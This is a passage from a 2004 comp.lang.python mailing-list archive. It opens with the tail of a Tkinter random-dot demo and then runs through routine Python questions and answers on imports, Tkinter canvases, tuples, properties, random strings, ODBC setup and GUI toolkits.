        return xf*a+xc,yf*b+yc,xf*c+xc,yf*d+yc
        
class RandomDot:

    def __init__(self, master, n):
        self.master = master
        self.n = n
        self.world = (0,0,1,1)
        c = self.canvas = Canvas(master, bg = 'black',
            width = 380, height = 380)
        c.pack(fill = BOTH, expand = YES)
        master.bind("<Configure>", self.configure)
        master.bind("<Escape>",  lambda 
            event ='ignored', m=master: m.destroy())
        self.canvas.bind("<Button-1>", self.click)
        self.colorfuncs = {'red':(min,min),'green':(min,max),
            'blue':(max,min), 'white':(max,max)}
        self.polling = False
    
    def poll(self):
        self.wriggle()
        self.master.after(10, self.poll)

    def click(self, event):
        self.draw()

    def configure(self,event):
        self.scale = Scaler(self.world, self.getviewport())
        self.draw()
        if not self.polling:
            self.polling = True
            self.poll()
        
    def draw(self):
        c,sp = self.canvas,self.scale.scalepoint
        c.delete('all')
        funcs = self.colorfuncs
        colors = funcs.keys()
        for i in xrange(1000):
            color = choice(colors)
            a,b = sp(random(), random())
            c.create_oval(a,b,a+5,b+5,fill=color,
                outline = '')
    
    def wriggle(self):
        c,sp = self.canvas,self.scale.scalepoint
        funcs = self.colorfuncs
        x = choice(c.find_all())
        color = c.itemcget(x,"fill")
        f1,f2 = funcs[color]
        a = f1([random() for i in xrange(self.n)])
        b = f2([random() for i in xrange(self.n)])
        a,b = sp(a,b)
        c.coords(x,a,b,a+5,b+5)
        
    def getviewport(self):
        c = self.canvas
        return (0, 0, c.winfo_width(),c.winfo_height())
    
if __name__=='__main__':
    root = Tk()
    root.title('randomdot')
    app = RandomDot(root,3)
    root.mainloop()



From matthew.warren at powergen.co.uk  Tue Feb  3 07:15:41 2004
From: matthew.warren at powergen.co.uk (yab)
Date: Tue,  3 Feb 2004 06:15:41 -0600
Subject: Newbie import probelm..
Message-ID: <ff36431bb1a38e64e5fa583bf7be2715@localhost.talkaboutprogramming.com>

Hallo,

Why does this work when I type it in a t the interpreter prompt;

>>>class invoker:
	def ex(self,cmd):
		print 'would do ', cmd

>>>x=invoker()
x.ex('test')
would do  test

but if I save invoker as invoker.py in a dir that is in sys.path and import it the follwoing happens;

>>> import invoker
>>> x=invoker()
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: 'module' object is not callable
>>>



From p at trick.lu  Wed Feb 18 11:00:21 2004
From: p at trick.lu (Patrick Useldinger)
Date: Wed, 18 Feb 2004 17:00:21 +0100
Subject: python and MQseries
References: <ca5642cb.0402172258.7c11b45a@posting.google.com>
Message-ID: <a03730pio0e5f29sjh6sld4tb6ulqvdfbu@4ax.com>

http://www.hare.demon.co.uk/pymqi/pymqi.html

--
http://www.homepages.lu/pu/


From miki.tebeka at zoran.com  Wed Feb 11 01:03:17 2004
From: miki.tebeka at zoran.com (Miki Tebeka)
Date: 10 Feb 2004 22:03:17 -0800
Subject: Installer mirror?
Message-ID: <4f0a9fdb.0402102203.79f24b1e@posting.google.com>

Hello,

I'm trying to get McMillan's installer at
http://www.mcmillan-inc.com/install1.html but get "You don't have
permission to access /install1.html on this server."

Anywhere else I can get it?

Thanks.
Miki


From tjreedy at udel.edu  Wed Feb 11 11:26:42 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Wed, 11 Feb 2004 11:26:42 -0500
Subject: How to avoid "f.close" (no parens) bug?
References: <A128D751272CD411BC9200508BC2194D033835E1@escpl.tcp.com.ar>
Message-ID: <c0dl46$87s$1@sea.gmane.org>


"Batista, Facundo" <FBatista at uniFON.com.ar> wrote in message
news:A128D751272CD411BC9200508BC2194D033835E1 at escpl.tcp.com.ar...
> Why "appears"?
>
> There is any case when f.close, or bar or something like "not a call to a
> function (there is no ')'), with no '=' at the left or at the right" has
any
> effect?

If the code is pasted into an interactive interpreter window, the bare
expressions get printed.

tjr






From FBatista at uniFON.com.ar  Thu Feb 26 11:43:26 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Thu, 26 Feb 2004 13:43:26 -0300
Subject: How to obscure a password
Message-ID: <A128D751272CD411BC9200508BC2194D03383690@escpl.tcp.com.ar>

Rene Pijlman wrote:

#- You can only obscure a password in an obscure way, not in a 
#- secure way.

You're right.


#- >I can't hash it (with md5 or something), because I not need 
#- to compare the
#- >password the user enters with a previous one.
#- >
#- >I need to restore the password later and use it as if the 
#- user just entered
#- >it.
#- 
#- I use rotor for that.
#- http://www.python.org/doc/current/lib/module-rotor.html

Nice, but it's deprecated since 2.3, :(

.	Facundo



From PPNTWIMBXFFC at spammotel.com  Wed Feb 25 04:23:37 2004
From: PPNTWIMBXFFC at spammotel.com (Marco Aschwanden)
Date: 25 Feb 2004 01:23:37 -0800
Subject: Thoughts about Python
References: <15c2d03b.0402240311.395f5382@posting.google.com>
	<Xns9499854B482AEduncanrcpcouk@127.0.0.1>
	<15c2d03b.0402241237.708cb4e8@posting.google.com>
	<qnk4qtgt7j9.fsf@arbutus.physics.mcmaster.ca>
Message-ID: <15c2d03b.0402250123.151f06db@posting.google.com>

cookedm+news at physics.mcmaster.ca (David M. Cooke) wrote in message news:<qnk4qtgt7j9.fsf at arbutus.physics.mcmaster.ca>...
> At some point, PPNTWIMBXFFC at spammotel.com (Marco Aschwanden) wrote:
> 
> >> Forget the speed and memory difference. The main argument for tuples as a 
> >> separate type are to use as dictionary keys. How do you propose to handle 
> >> dictionary keys without tuples?
> >
> > Maybe I don't get the point here: Why do dictionaries need tuples to
> > work? I know that tuples can be used as keys... but how many times do
> > you need tuples as dictionary keys (it would be simple to turn a list
> > into an immutable string if really needed ("::".join(["a","b"]).
> 
> Simple, yes. Practicable, no. Wrong, certainly. For instance, I have a
> lot of use cases where I use tuples of numbers -- (3, 4, 20.0101), eg.
> It'd be a *hack* to convert that into a string, and the representation
> would not be unique. This ain't Perl.

>>> tup = (3, 4, 20.0101)
>>> stringified = str(tup)
>>> stringified
'(3, 4, 20.010100000000001)'  # 8o)
What is not unique about this string?
Okay, I can think of cases where this approach is problematic -
foremost when sorting is involved.
It is also a bit complicated to retrieve the values from the string
(it has to be "split"ted or "eval"ed back to a tuple or list).
If this pattern would be seldom used... but it seems, that everybody
except me uses this dicts as keys.

And yes, luckily this is not Perl.

Cheers,
Marco


From eric.brunel at N0SP4M.com  Tue Feb 17 04:08:15 2004
From: eric.brunel at N0SP4M.com (Eric Brunel)
Date: Tue, 17 Feb 2004 10:08:15 +0100
Subject: Hiding/showing Tkinter.Canvas items
References: <c0sise$it8$04$1@news.t-online.com>
Message-ID: <c0sl6p$ipc$1@news-reader5.wanadoo.fr>

Peter Otten wrote:
> Before I start moving them into dark corners of the canvas - is there a way
> to hide/show Tkinter canvas items without having to maintain their original
> position externally? All I've found so far is sortvisu.py in the demos that
> toggles their coordinates between (0,0,0,0) and the real position/size. 
> 
> Thanks,
> Peter

Not that I know of, and there's apparently nothing like that in the tcl/tk 
manual pages. The only thing I can think of is to configure the fill and/or 
outline for the items to '', making them invisible. But:
- you have to remember their original fill/outline outside the canvas
- bindings on the items still fire when they are invisible, which may not be 
what you want...

HTH
-- 
- Eric Brunel <eric dot brunel at pragmadev dot com> -
PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com



From jepler at unpythonic.net  Wed Feb  4 18:40:51 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Wed, 4 Feb 2004 17:40:51 -0600
Subject: Question about the built-in file() and buffer size...
In-Reply-To: <eeaeb3f4.0402041514.705e4d44@posting.google.com>
References: <eeaeb3f4.0402041514.705e4d44@posting.google.com>
Message-ID: <20040204234051.GC2284@unpythonic.net>

On Wed, Feb 04, 2004 at 03:14:23PM -0800, Darby Wong wrote:
> The documentation for file() says that the buffer size will be:
[...]

The buffer size argument is merely passed along to a call to setvbuf
as the "size" argument, like so:
	+setvbuf(0x0815e780, NULL, 0, 1024)               = 0
So it's beyond the control of Python.  Apparently your C library
disregards the actual size parameter given and choose another size
(perhaps related to the OS page size or the filesystem block size).

This behavior is different between 2.2.2 from redhat9 and python CVS.
In CVS, the buffer is allocated by Python:
	setvbuf(0x082089d0, 0x08183338, 0, 1024)         = 0
I don't know if 2.3 behaves like 2.2 or like this CVS release.  This
might give the behavior you're interested in, but it's still safer to
use .flush() at the right time, because either the C standard doesn't
guarantee much, or C libraries aren't very good.

Jeff



From amk at amk.ca  Fri Feb 13 09:39:18 2004
From: amk at amk.ca (A.M. Kuchling)
Date: Fri, 13 Feb 2004 08:39:18 -0600
Subject: YAML config file parser
References: <c0gk4t$111$1@swifty.westend.com>
	<bOWdnbCO5OnWebbdRVn-ug@speakeasy.net>
	<c0idqv$laj$1@swifty.westend.com>
Message-ID: <TPGdndWfJJoLfLHdRVn-jw@speakeasy.net>

On Fri, 13 Feb 2004 12:53:23 +0100, 
	Peter Maas <fpetermaas at netscape.net> wrote:
> A configuration file should contain a set of mutually independent
> variables describing the state of the installed application. This
> is not messy. I see mixing of state and logic as a conceptual
> disadvantage. It makes life easy for the programmer but not for
> the users who sometimes happen to be non-programmers.

Non-programmers don't edit configuration files, though; they use a GUI that
presents a nice interface, and never see whatever format the settings are
stored in.  For example, Apple's property lists provide more or less the
same basic set of data types as your suggested YAML subset; see the
following:

http://developer.apple.com/documentation/CoreFoundation/Conceptual/CFPropertyLists/index.html

Apple's property lists are stored as XML, but this isn't apparent to users.

--amk


From skip at pobox.com  Thu Feb 26 23:42:03 2004
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 26 Feb 2004 22:42:03 -0600
Subject: Problem with mixing doctest with gettext _()
In-Reply-To: <Ysz%b.20076$253.1212052@news20.bellglobal.com>
References: <Ysz%b.20076$253.1212052@news20.bellglobal.com>
Message-ID: <16446.51867.932194.821479@montanaro.dyndns.org>


    Pierre> I tried to define a _() function when testing with the code
    Pierre> below but the doctest still fails.  The following code is at the
    Pierre> end of my utstring.py module
    ...

I suspect it's because your dummy _ is not in builtins.  Why not just call
gettext.install() where you are currently defining _?

Skip



From mwh at python.net  Mon Feb  9 06:37:36 2004
From: mwh at python.net (Michael Hudson)
Date: Mon, 9 Feb 2004 11:37:36 GMT
Subject: Defining *class* methods on C code
References: <hdy59tu8.fsf@python.net> <m3znbw4fjb.fsf@pc150.maths.bris.ac.uk>
	<isik6x7h.fsf@python.net> <m3n07w43cw.fsf@pc150.maths.bris.ac.uk>
	<3c9n6hdz.fsf@python.net> <m3isij3rjb.fsf@pc150.maths.bris.ac.uk>
	<wu6wtuhk.fsf@python.net> <r7x4tu6x.fsf@python.net>
Message-ID: <m3ekt44h6o.fsf@pc150.maths.bris.ac.uk>

Thomas Heller <theller at python.net> writes:

> Thomas Heller <theller at python.net> writes:
> 
> > Michael Hudson <mwh at python.net> writes:
> >
> >> Arghl.  I guess you can just steal the relavent code... wasn't it your
> >> patch in the first place that implemented all this?
> >
> > No, it was my feature request. IIRC, it was implemented by Fred Drake.
> 
> Guess I'm getting old.  It *was* my patch ;-)

:-)

Cheers,
mwh

-- 
  at any rate, I'm satisfied that not only do they know which end of
  the pointy thing to hold, but where to poke it for maximum effect.
                                  -- Eric The Read, asr, on google.com


From rstephens at vectron.com  Sun Feb  1 01:22:07 2004
From: rstephens at vectron.com (Ron Stephens)
Date: 31 Jan 2004 22:22:07 -0800
Subject: Firedrop, New Docs, easy to use python blog software...
Message-ID: <a5415304.0401312222.6eba545e@posting.google.com>

I have posted to my blog at http://www.awaretek.com/weblog/ a new Mini
How-To set of docs, written to walk a new user through the
installation, set up and use of Hans Nowak's open source blog
software, firedrop2, which is of course written in Python.

OK, I know there is a lot of blog software out there written in
Python, but after a little more than one month of using it, I think
Firedrop can compete on ease of use, ease of learning, and intuitive,
fun use.

I know that I have put an awful lot of thought and work into writing
the Mini How-To with a new user in mind. I hope it is of use to
someone...although it is my first effort at wrting "docs", I know how
easy it is for a brainless, clueless newbie to get confused (being
myself the prototypical BCN), so I put some thought into how to write
in what I hope is a very understandable manner.

It would be great if someone could let me know how I did..even its to
say that I failed miserably ;-)))

Ron Stephens


From PPNTWIMBXFFC at spammotel.com  Tue Feb 24 06:11:20 2004
From: PPNTWIMBXFFC at spammotel.com (Marco Aschwanden)
Date: 24 Feb 2004 03:11:20 -0800
Subject: Thoughts about Python
Message-ID: <15c2d03b.0402240311.395f5382@posting.google.com>

Hi

I don't have to talk about the beauty of Python and its clear and
readable syntax... but there are a few things that striked me while
learning Python.

I have collected those thoughts. I am sure there are many discussions
on the "problems" mentioned here. But I had this thoughts without
looking into any forums or anything... it is kind of feedback.

Thanks for this marvellous language,
Marco



*** Problem: clumsy static class methods

In order to create a static method we have to use a the builtin
staticmethod(function):

class C (object):
    def f(arg1, arg2, ...): ...
    f = staticmethod(f)

Why? The speciality of a "static" method is: It has no access to any
instance vars. The following class is easier to read and understand
what a static method is about... as a positive side-effect: self is
not available and it can't be used!

class c (object):
    def staticMethod(arg1, arg2, ...):
        # self is not handed in... hence I can't use the instance vars
        pass
    def normalMethod(self, arg1, arg2, ...):
        pass

There is no need for the builtin... as I understand it: the builtin is
a workaround...



*** Problem: clumsy properties for classes

property( [fget[, fset[, fdel[, doc]]]]) 

class C(object):
    def getx(self): return self.__x
    def setx(self, value): self.__x = value
    def delx(self): del self.__x
    x = property(getx, setx, delx, "I'm the 'x' property.")


I don't like this one either. It is not necessary because it describes
something that should be clear by looking at the class/code. A
convention would make the syntax clearer and more intuitive and by
looking at the definition of a method you would know: This is a
getter, setter or deleter. My proposal:

all getters start with __get__
all setters start with __set__
all deleters start with __del__

If someone uses:

prop.x = 5

Python checks whether the var 'x' exists on prop. If it does - it is
set. If it doesn't exist Python checks for '__set__x' if it doesn't
exist either... a AttributeError is raised:


class PropertyExample(object):
    """A demonstration class for the property idea.

    This class is used afterwards as follows:
    prop = PropertyExample()
    prop.x = 5 # __set__x(self, 5) is called behind the scenes
    print prop.x # __get__x(self) is called behind the scenes
    del prop.x # __del__x(self) is called behind the scenes"""

    def __init__(self):
        self.__x = None
        
    def __del__x(self):
        del self.__x
    def __get__x(self):
        return self.__x
    def __set__x(self, value):
        self.__x = value



*** Problem: Many builtins are not necessary

Many builtins are not necessary. To name a few: min / max / len

This functions should be defined on the class:

["I", "like", "Python"].len()
"I".len()
{1:"I", "2":"like", 3:"Python"}.len()
(1,2,3,4).len()

"Throwing away" this builtins would flatten the alreay flat learning
curve once more (you don't have to learn that many builtins) ... these
functions belong to the class and they are naturally expected there.
One weakness of a language as (Visual)Basic, PHP, ... is its payload
of available functions... Python's OO helps here to diminish the need
for lots of functions.


*** Problem: tuples are not necessary

Throw them away in the long run - for now make them depracted. It is
hard to argue in favour of tuples. There might to 2 reason:

1. It is MUCH faster than a list
2. We can't live without an immutable list

Cons:

1. I don't think that tuples deliver a big performance gain.
2. Python makes so many "soft" conventions (eg.: don't use
vars/methods with 2 leading underscores) but when it comes to tuples
the immutable issue is very important... why? I hope the tuples will
disappear in P3K.


*** Problem: builtins list() dict() ...

A list, a dictionary, a str, an int, a float are builtin functions...

myList = list()
myDict = dict()
myString = str(45)

The list-function instantiates a new list... it is actually nothing
but an overloaded List class. Why are the handed in as functions? In a
OO environment it should be more the instatiation of a class rather
than a function and classes start with an uppercase letter:

myList = List()
myDict = Dict()
myString = String(45)


From fumanchu at amor.org  Wed Feb  4 14:24:10 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Wed, 4 Feb 2004 11:24:10 -0800
Subject: configuring ODBC DSN with a python script
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561CE4@opus.amorhq.net>

Jani Yusef wrote:
> I am building an application which, unfortunately, *must* use an
> access db. The users will have the relevane mdb file installed on
> their system. As part of the installer. Now, the part I am stuck on is
> how do I configure the ODBC dsn without having the user open up the
> ODBC control panel which will in all honestly just scare and confuse
> them. ;)
> Has anyone approached this problem before? What did you do?
> Thanks!!

I haven't ever run into this (I tend to write apps that will be
installed by someone with a modicum of technical skill ;). However, the
thought crosses my mind that ODBC entries are merely a lump of registry
keys--you might just create or even copy those programatically. That
would be _my_ first attempt.


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org



From fredrik at pythonware.com  Tue Feb 24 17:34:22 2004
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 24 Feb 2004 23:34:22 +0100
Subject: save animated GIF in Python Image Library
References: <bvucqb$362$06$1@news.t-online.com>
Message-ID: <c1gjn2$o13$1@sea.gmane.org>

"christof hoeke" <csad7 at yahoo.com> wrote:

> how can i save an animated GIF with PIL?
>
> e.g. to rotate all frames of an image i tried the following:
>
> im = Image.open('anim.gif')
> for f in ImageSequence(im): #using the class from the PIL handbook
>      if f:
>          f = f.rotate(180)
> im.save('animrotated.gif')
>
> problem is that only one frame (i guess the last one) is saved.
> i could not find any options for saving GIFs in the handbook.
>
> can this be done at all?

see the "gifmaker" example in the Scripts directory.

(get the PIL source distribution if you don't have it)

</F>






From feb04.20.netman at spamgourmet.com  Fri Feb 20 13:38:19 2004
From: feb04.20.netman at spamgourmet.com (Chris)
Date: Fri, 20 Feb 2004 18:38:19 GMT
Subject: Generating a large random string
References: <4034D506.2E37519A@netsurf.de>
	<cs8Zb.59225$IF1.26985@nwrdny03.gnilink.net>
	<v99gg1-g7g.ln1@home.rogerbinns.com>
Message-ID: <vusZb.65491$KV5.7399@nwrdny01.gnilink.net>

I suppose this would be cheating?

>>> import random, sys
>>> class ReallyRandomString:
    "Hey Rocky, watch me pull a random string out of my hat!"
    def __init__(self, item):
        self.__item = item

    def __getitem__(self, key):
        if type(key) is int:
            return random.choice(self.__item)
        elif type(key) is slice:
            return ''.join([random.choice(self.__item)
                            for i in xrange(*key.indices(sys.maxint))])
        else:
            raise TypeError('Time to get a new hat!')


>>> ReallyRandomString('spam')[1000:1060]
'mapsmpspapaaamppmapammaasapmaspmspmpppmpmamsmpsaspamaamssspm'

Chris

"Roger Binns" <rogerb at rogerbinns.com> wrote in message
news:v99gg1-g7g.ln1 at home.rogerbinns.com...
> > > How to generate (memory and time)-efficient a string containing
> > > random characters?
>
> It depends how random you need it to be.
>
> The approach I take in my test harness (which generates a CSV file
> with random contents) is to create a 30,000 character string the
> old fashioned way:
>
>   "".join([random.choice(item) for i in range(30000)])
>
> item is a string of which characters to choose from (some fields
> are phone numbers, some are names, some are email addresses etc).
>
> To generate a random string I then take random slices of that
> 30,000 character object.  If I need longer strings, I glue
> the random slices together (in a cStringIO).
>
> Roger
>
>




From spam at yourself.com  Tue Feb 17 22:28:21 2004
From: spam at yourself.com (Ingo Blank)
Date: Wed, 18 Feb 2004 04:28:21 +0100
Subject: Watching NT FileSystem Events
Message-ID: <c0um4j$8tj$04$1@news.t-online.com>

Hi all,

I'm looking for a Python extension, which monitors Windows NT/2000/XP file
system events and calls back to Python code.

Any pointers are greatly appreciated.

Thanks
--ibl





From stach at fr.REMOVE.pl  Wed Feb 11 07:00:32 2004
From: stach at fr.REMOVE.pl (Krzysztof Stachlewski)
Date: Wed, 11 Feb 2004 13:00:32 +0100
Subject: server bootstrapping upon connection (WARNING: LONG)
References: <ef08387c.0402100854.7c03b60c@posting.google.com>
	<86fzdiydpu.fsf@stronzo.brainbot.com> (null) (null)
	<2004021016361216807%this@isforspambot>
	<86k72uzfih.fsf@stronzo.brainbot.com>
	<2004021019594716807%this@isforspambot>
Message-ID: <c0d5gg$u0m$1@absinth.dialog.net.pl>

"Benjamin Han" <this at is.for.spambot> wrote in message
news:2004021019594716807%this at isforspambot...

> > I just wanted to say, that even if the server is
> > listening on that port, that connection attempts may fail.
>
> How is it possible? Could you explain a bit more?

Your server may be accepting connections slower than
the speed at which new connections are coming.
In such situation your operating system maintains a list
of those awaiting connections. You can control the length of
this list with the "backlog" parameter of the "listen" function.
If the list is full, new connections may simply be dropped
as if the server was not listening at all.

Stach



From shalabh at cafepy.com  Sun Feb 22 00:02:20 2004
From: shalabh at cafepy.com (Shalabh Chaturvedi)
Date: Sun, 22 Feb 2004 05:02:20 GMT
Subject: Is there an easier way to break a list into sub groups
References: <92c59a2c.0402212013.2e0fa89b@posting.google.com>
Message-ID: <wJWZb.21339$wD5.18647@nwrddc03.gnilink.net>

MetalOne wrote:

> The following does what I want, but I feel like this could maybe be a
> one liner.
> I just can't think of anything shorter.
> If there is nothing shorter, does this seem like a candidate for
> inclusion in the standard library somewhere.
> 
>>>> def groups(l, n):
>       """l is an input list.
>          n is the size of the sub group
>          returns a list of the sub groups
>       """
> ...   i=0
> ...   g = []
> ...   while i < len(l):
> ...     g.append(l[i:i+n])  #append sub group to g
> ...     i+=n
> ...   return g
> ...
>>>> l = [1,2,3,4,5,6]
>>>> groups(l,2)
> [[1, 2], [3, 4], [5, 6]]
>>>> groups(l,3)
> [[1, 2, 3], [4, 5, 6]]
>>>> groups(l,4)
> [[1, 2, 3, 4], [5, 6]]

It's generally considered more Pythonic to use the range() function instead
of incrementing counters while looping. Also, list comprehensions are a
useful tool. These combined give us one possible solution:

>>> l = range(10)
>>> n = 2
>>> [l[i:i+n] for i in range(0, len(l), n)]
[[0, 1], [2, 3], [4, 5], [6, 7], [8, 9]]
>>> n = 3
>>> [l[i:i+n] for i in range(0, len(l), n)]
[[0, 1, 2], [3, 4, 5], [6, 7, 8], [9]]
>>>


HTH,
Shalabh


From stewart at midtoad.homelinux.org  Thu Feb 26 01:14:31 2004
From: stewart at midtoad.homelinux.org (Stewart Midwinter)
Date: Wed, 25 Feb 2004 23:14:31 -0700
Subject: Python: GUI Builder
In-Reply-To: <403D8608.40103@easi.soft.net>
References: <403D8608.40103@easi.soft.net>
Message-ID: <20040225231431.6c4d9ad7@pc-00065.midtoad.homelinux.org>

On Thu, 26 Feb 2004 11:07:12 +0530
Anand K Rayudu <anand at easi.soft.net> spake thusly:

> I am new to python & want to build some GUI dialogs.
> Can some one please suggest some document reference.

Anand:

I've been through this quite recently, and am still on the steep end of the
learning curve. 

Sounds like you are toward the 'leisure class' end of the Pythonista scale. If
so, you may be most interesteed in easygui. It's a subset of the Tkinter
widgets, but without the event-driven programming that other toolsets require
you to painfully learn.  You can use it for procedural types of events.   

easygui doesn't require that you install anything beyond Tkinter, which is
standard in Python. 

If you're a little further along the curve, maybe you want to try Tkinter
itself.  Fredrick Lundh's 1999 book is a good start.  But I found chapters 6-9
of Mark Lutz'  Programming Python book, 2001, to have some pertinent examples
and an approach that builds skill upon skill. 

There are a number of books and websites out there on Tkinter, making it the
best documented of the toolkits.  

While you're looking at Tkinter, take a look at the Pmw set of widgets that
extend Tkinter's basic set.  The demo for Pmw is a great way to examine the
source code for these widgets and see how they work.   I posted an example on
the list earlier today.   

Next in line is probably wxPython, which is much less well documented, and there
are others as well.   These are a good set to start with.

cheers,
-- 
Stewart Midwinter
running on Mandrake Linux 9.2
PGP public key at: http://www.keyserver.net
e-mail: Stewart 'at' Midwinter.ca, stewart 'at' midtoad.homelinux.org
web: http://www.midwinter.ca, http://midtoad.homelinux.org
voice: +1.403.714.4329

Umwelt schuetzen, Rad benuetzen!





From LittleDanEhren at yahoo.com  Sun Feb  1 13:42:03 2004
From: LittleDanEhren at yahoo.com (Daniel Ehrenberg)
Date: 1 Feb 2004 10:42:03 -0800
Subject: Python vs. Io
References: <711c7390.0401291301.3f95794@posting.google.com>	<D6wSb.6538$qU3.576425@news20.bellglobal.com>	<711c7390.0401301726.3e38da27@posting.google.com>
	<mailman.1078.1075571238.12720.python-list@python.org>
	<711c7390.0401311808.3914a94b@posting.google.com>
	<pi7p10130jblpcg56no1dgpk4hnupvk4ri@4ax.com>
Message-ID: <711c7390.0402011042.5eefb469@posting.google.com>

> >Regardless of which one is more common, which looks more like
> >language?
> 
> Looking like natural language is *not* necessarily a good thing in
> programming languages.

Ok, which one looks more intuitive, then? Both languages are
turing-complete and Io's easy syntax doesn't hamper it in the way that
BASIC's intuitive but limited syntax does.

Daniel Ehrenberg


From mwh at python.net  Mon Feb  9 14:02:53 2004
From: mwh at python.net (Michael Hudson)
Date: Mon, 9 Feb 2004 19:02:53 GMT
Subject: file copy shutil
References: <560d84ab.0402091057.693f84a9@posting.google.com>
Message-ID: <m33c9k3wki.fsf@pc150.maths.bris.ac.uk>

heavens7s at hotmail.com (Joe) writes:

> I see this on python.org
> 
> "Caveat: On MacOS, the resource fork and other metadata are not used.
> For file copies, this means that resources will be lost and file type
> and creator codes will not be correct."
> 
> Is there a way to copy files correctly on BOTH Mac and Windows?  I am
> trying to write a utility that will work on both platforms identically
> since I am in a mixed environment network.  Thanks.

Look at distutils.file_util (or someting like that...)

Cheers,
mwh

-- 
  Usenet is like a herd of performing elephants with diarrhea --
  massive, difficult to redirect, awe-inspiring, entertaining, and
  a source of mind-boggling amounts of excrement when you least 
  expect it.                                             -- spaf (1992)


From stewart at midtoad.homelinux.org  Sat Feb 28 03:13:36 2004
From: stewart at midtoad.homelinux.org (Stewart Midwinter)
Date: Sat, 28 Feb 2004 01:13:36 -0700
Subject: Tkinter: how to refresh a canvas without duplicates?
Message-ID: <20040228011336.3e4a9e0f@pc-00065.midtoad.homelinux.org>

I've got a Tkinter app that draws three histograms.  At this point I am
simulating real data by drawing rectangles whose size is defined by random
numbers; in the future there would be real data coming from a server. 

I want to redraw the rectangles every time I press the Again button.  This works
for me, but I get an extra set of rectangles each time I press the Again button.
How to get rid of this effect?

Here's the app so you can see the behaviour:

Thanks
S

---
title = 'Histogram summary'

# Import Pmw from this directory tree.
import sys
sys.path[:0] = ['../../..']

from Tkinter import *
import Pmw
import random

global canwidth, canheight, sectors, barcolors
sectors = 'SECT_1','SECT_2','SECT_3'
barcolors = 'green','yellow','red','violet'
canwidth = 200
canheight = 20


class Summary:
    def __init__(self, parent):
	# Create the dialog.
	self.dialog = Pmw.Dialog(parent,
	    buttons = ('OK', 'Apply', 'Cancel', 'Help'),
	    defaultbutton = 'OK',
	    title = 'My dialog',
	    command = self.execute)
	self.dialog.withdraw()

	# Add some contents to the dialog.
	w = Label(self.dialog.interior(),
	    text = 'Sector Summary',
	    background = 'black',
	    foreground = 'white',
	    pady = 20)
	w.pack(expand = 1, fill = 'both', padx = 2, pady = 2)
	

    def drawRec(self):
        global row,can
	for sector in sectors:
		row = Frame(self.dialog.interior())
		lab = Label(row, width=10,text=sector)
		can = Canvas(row,
			width=canwidth,
			height=canheight
			)
	
                h=canheight
                m=canwidth-20 # alarm level (100%) is less than available space
for rectangle                d=canwidth/2
                p=random.randrange(-1,2,2) # create random + or - imbalance
                f=random.randrange(-110,110,1)/100.0 # create random fractional
height of bar                w=f*m
                startx=d+f*d
                starty=0
                endx=d
                endy=h
                if (f<-1.0):
                    rcolor='violet'
                elif (-1.0<=f<0.85):
                    rcolor='green'
                elif (0.85<f<=1.0):
                    rcolor='yellow'
                elif (f>1.0):
                    rcolor='red'
                else:
                    rcolor='grey'
               
can.create_rectangle(startx,starty,endx,endy,width=1,fill=rcolor)               
row.pack(side=TOP, fill=X)                lab.pack(side=LEFT)
                can.pack(side=LEFT, expand=0, padx = 1, pady = 1) #grow
horizontal        self.dialog.activate(globalMode = 'nograb')

    def redrawRec(self):
        self.dialog.deactivate()
        for sector in sectors:
            row.destroy()
        self.drawRec()
        self.dialog.activate()
        
    def execute(self, result):
	print 'You clicked on', result
	if result not in ('Apply', 'Help'):
	    self.dialog.deactivate(result)
	if (result =='Apply'):
            self.redrawRec()
            
######################################################################

# Create demo in root window for testing.
if __name__ == '__main__':
    root = Tk()
    #Pmw.initialise(root)
    #root.title(title)

    widget = Summary(root)
    goButton = Button(root, text = 'Again', command = lambda: widget.drawRec())
    goButton.pack(side = 'bottom')
    exitButton = Button(root, text = 'Exit', command = root.destroy)
    exitButton.pack(side = 'bottom')
    widget.drawRec()
    root.mainloop()
---




From dave at pythonapocrypha.com  Tue Feb 17 15:37:18 2004
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Tue, 17 Feb 2004 13:37:18 -0700
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
	<c0mvpc$18urh0$1@ID-99293.news.uni-berlin.de>
Message-ID: <08ca01c3f595$d64e8c30$6401fea9@YODA>

William wrote:
> kbass <kbass at midsouth.rr.com> wrote:
> > In different articles that I have read, persons have constantly eluded to
> > the productivity gains of Python. One person stated that Python's
> > productivity gain was 5 to 10 times over Java in some in some cases. The
> > strange thing that I have noticed is that there were no examples of this
> > productivity gain (i.e., projects, programs, etc.,...).  Can someone give
me
> > some real life examples of productivity gains using Python as opposed other
> > programming languages.
> >
> > From my our personal experience, I have been programming with Python for
> > about 6 months (but I have been programming in other languages for over 10
> > years) and I have noticed that the more I had gotten use to programming in
> > Python, the more my programming speed has increased. But ... this is true
> > with any language that you program in as long as you are learning the
> > methodologies and concepts of the programming language.  Your thoughts.
>
> It used to be that Python programs were shorter, faster, readable,
> writable, and simply better.  But, this was during the days when most
> programmers had Unix background.  Nowdays, most of the programmers are
> coming from Windows background, and Python programs have become as
> verbose and unreadable as Visual Basic or Perl.

I have a tough time taking this comment seriously - didja forget some smilies?
If not, you're basing this opinion on ______?

Is there any evidence that implies that for the same tasks the programs are now
longer, slower, less readable, less writeable, or worse? (or that any slip has
been caused by more Windows programmers?)

> Ruby has not been corrupted as such.  It make complicated thing less
> complicated.  But, it still make simply thing not as simple as Python.

???




From mcfletch at rogers.com  Mon Feb 23 13:55:11 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Mon, 23 Feb 2004 13:55:11 -0500
Subject: Extract data from ASCII file
In-Reply-To: <3602cff7.0402230612.4248c279@posting.google.com>
References: <3602cff7.0402220711.3f7ed46@posting.google.com>	<mailman.164.1077464239.27104.python-list@python.org>
	<3602cff7.0402230612.4248c279@posting.google.com>
Message-ID: <403A4C8F.2040609@rogers.com>

Ren wrote:

>What is 'prefix' used for? I searched the docs and didn't come up with
>anything that seemed appropriated.
>  
>
It's just the name (variable) I used to store the "prefix" of the rest 
